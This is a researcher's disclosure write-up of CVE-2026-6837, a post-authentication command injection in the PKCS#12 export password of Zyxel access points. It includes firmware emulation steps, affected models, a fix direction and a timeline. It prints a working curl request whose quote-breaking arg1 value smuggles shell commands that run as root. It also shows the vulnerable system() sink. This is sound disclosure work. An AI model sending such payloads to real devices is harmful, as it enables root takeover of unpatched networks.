August 16, 2026
CVE-2026-6837: Zyxel export-cgi command injection in the PKCS#12 export password + Full emulation guide
A post-authentication command-injection flaw in Zyxel certificate export handling let an administrative password field become a shell break. The local reverse work here is anchored on WAX650S V7.10(ABRM.4)C0, while Zyxel's August 4, 2026 advisory expanded the affected set to 18 AP models.
/cgi-bin/export-cgicategory=pkcs12The WAX650S path in this writeup was developed on a full user-space AArch64 rehost built from vendor firmware. The lighttpd and export-cgi lane was reached end-to-end without physical hardware.
At a glance
| Field | Value |
|---|---|
| Product analyzed locally | Zyxel WAX650S |
| Firmware analyzed locally | V7.10(ABRM.4)C0 |
| Firmware SHA-256 | e0a93db912c0b7203e0eb899f07ddef99b62a82a27352477c0f85d761576b1e0 |
| CWE | CWE-78 |
| CVSS v3.1 | 7.2 High ยท AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Privileges required | Administrator session for the direct exploit path |
| Official fixed version for WAX650S | 7.12(ABRM.0)C0 |
What the proof looked like
The shortest reproduction is the one that matters:
curl -sk \
-H 'Cookie: authtok=<admin_token>' \
'https://[target]/cgi-bin/export-cgi?category=pkcs12&arg0=<certname>&arg1=x%22;id;echo%20COMMAND_INJECTION_CONFIRMED;#'
Observed response body:
uid=0 gid=0(root) groups=0(root)
COMMAND_INJECTION_CONFIRMED
Status: 500 Internal Server Error !
The command output comes back in-band over HTTP.
Why this happens
The reviewed command template was:
/bin/zysh -p 200 -e "configure terminal ca _export category local name %s password %s"
The sink was direct:
400dd0: bl snprintf(cmd_buf, 4096, format_string, arg0, arg1)
400dd8: bl unlink(tmp_path)
400de0: bl system(cmd_buf)
A payload like x"; id; echo COMMAND_INJECTION_CONFIRMED; # turns the intended command into:
/bin/zysh -p 200 -e "configure terminal ca _export ... password x"; id; echo COMMAND_INJECTION_CONFIRMED; #
Once the quote closes, the remaining characters are shell syntax.
The way this was reached in the lab was straightforward once the core web lane was healthy: static reversing narrowed the sink to the PKCS#12 password builder, the emulated admin web handler replay isolated that branch, a semicolon-only control stayed low-signal, and the corrected quote-breaking payload survived real HTTP dispatch and returned the marker in the response body.
Scope and limits
- The demonstrated sink is the PKCS#12 export path, not every code path in
export-cgi. - The target certificate object must exist first under the device certificate store.
- The direct exploit documented here is the admin-authenticated path.
In practice, that certificate prerequisite means the vulnerable branch becomes reachable after the device has a locally managed certificate object to export. It is not a default-on path for a completely untouched device, but it is a normal administrative workflow once certificate management is in use.
A semicolon-only payload did not reproduce the marker. The reliable trigger was quote-breaking input, exactly as the command template predicts.
Official affected scope
Zyxel's August 4, 2026 advisory lists 18 affected AP models for CVE-2026-6837:
NWA50AX, NWA50AX PRO, NWA55AXE, NWA55AX PRO, NWA55AX PTP, NWA90AX,
NWA90AX PRO, NWA110AX, NWA210AX, NWA220AX-6E, WAX300H, WAX510D,
WAX610D, WAX620D-6E, WAX630S, WAX640S-6E, WAX650S, WAX655E
Remediation direction
The fix is to stop building shell commands from untrusted certificate-export input. Passing structured arguments into a non-shell execution path is the clean answer. If a shell truly cannot be avoided, the code still has to enforce real argument separation instead of quoted string assembly.
Emulation lab
This path was developed entirely from emulation. The helpers below show what each stage was for, what it was built with, and what a quick run should look like.
For the broader rehosting path and deeper emulation notes, see the public Zyxel WAX650S research notebook.
extract_710ABRM4C0.sh
What it does. Splits the vendor FIT image, extracts the root UBI volume, and unpacks the SquashFS root filesystem.
./emulation/extract_710ABRM4C0.sh ./firmware.bin ./710ABRM4C0_extracted
Expected result: a populated bin_images/ tree, a rootfs/ directory, and terminal lines such as Firmware: and Rootfs extracted to:.
prepare_zyxel_runroot.py
What it does. Normalizes the extracted firmware into a runnable runroot with the links, writable paths, and stub files the userland expects.
python3 ./emulation/prepare_zyxel_runroot.py \
--src ./710ABRM4C0_extracted/rootfs \
--dst ./runroot
Expected result: a ready runroot/ tree with Zyxel runtime directories, symlinks, and boot-time placeholders in place.
run_zyxel_lab.sh + zyxel_bwrap_env.sh
What it does. Boots the rehosted AArch64 userland, bind-mounts the runtime view, and exposes status and health commands for the web lane.
./emulation/run_zyxel_lab.sh rebuild --phase core
./emulation/run_zyxel_lab.sh health --phase core
Expected result: the core lane reaches a healthy state and the lab leaves process and log state under .lab-state/ for lighttpd and related services.
seed_zyxel_ipc.py + UAM helpers
What it does. Seeds the SysV IPC objects and fake UAM sockets that the web stack expects before request handling works cleanly.
python3 ./emulation/seed_zyxel_ipc.py up
python3 ./emulation/uam_unix_server.py \
--socket ./runroot/dev/user-request \
--log ./live_artifacts/uam-user-request.log
Expected result: the IPC prerequisites exist, a UNIX socket appears under runroot/dev/, and request traces accumulate in the chosen log file.
run_admin_web_handler_focus.sh
What it does. Replays the admin web-handler path until the vulnerable export-cgi PKCS#12 branch is exercised under the live HTTP seam.
./emulation/run_admin_web_handler_focus.sh exportcgi_focus
Expected result: a live_artifacts/exportcgi_focus/ directory containing headers, bodies, diffs, and the quote-breaking request case that returns the HTTP marker in-band.
Tools used
qemu-aarch64-static
Executed the Zyxel AArch64 userland directly from the extracted firmware tree.
bubblewrap
Provided the bind-mounted runtime view for /proc, /sys, device files, and emulated sockets.
curl
Drove the crafted HTTP requests and captured in-band proof from the live CGI path.
Python 3 and Bash
Powered the helper scripts used for runroot preparation, IPC seeding, runtime patching, and replay orchestration.
Firmware unpacking utilities
dumpimage, fdtget, ubireader_extract_images, and unsquashfs unpacked the vendor image into a reviewable root filesystem.
Timeline
- 2026-04-07: issue reported to Zyxel as part of the original WAX650S report
- 2026-04-22: Zyxel PSIRT said
CVE-2026-6837had been reserved - 2026-08-04: Zyxel published the advisory and listed 18 affected AP models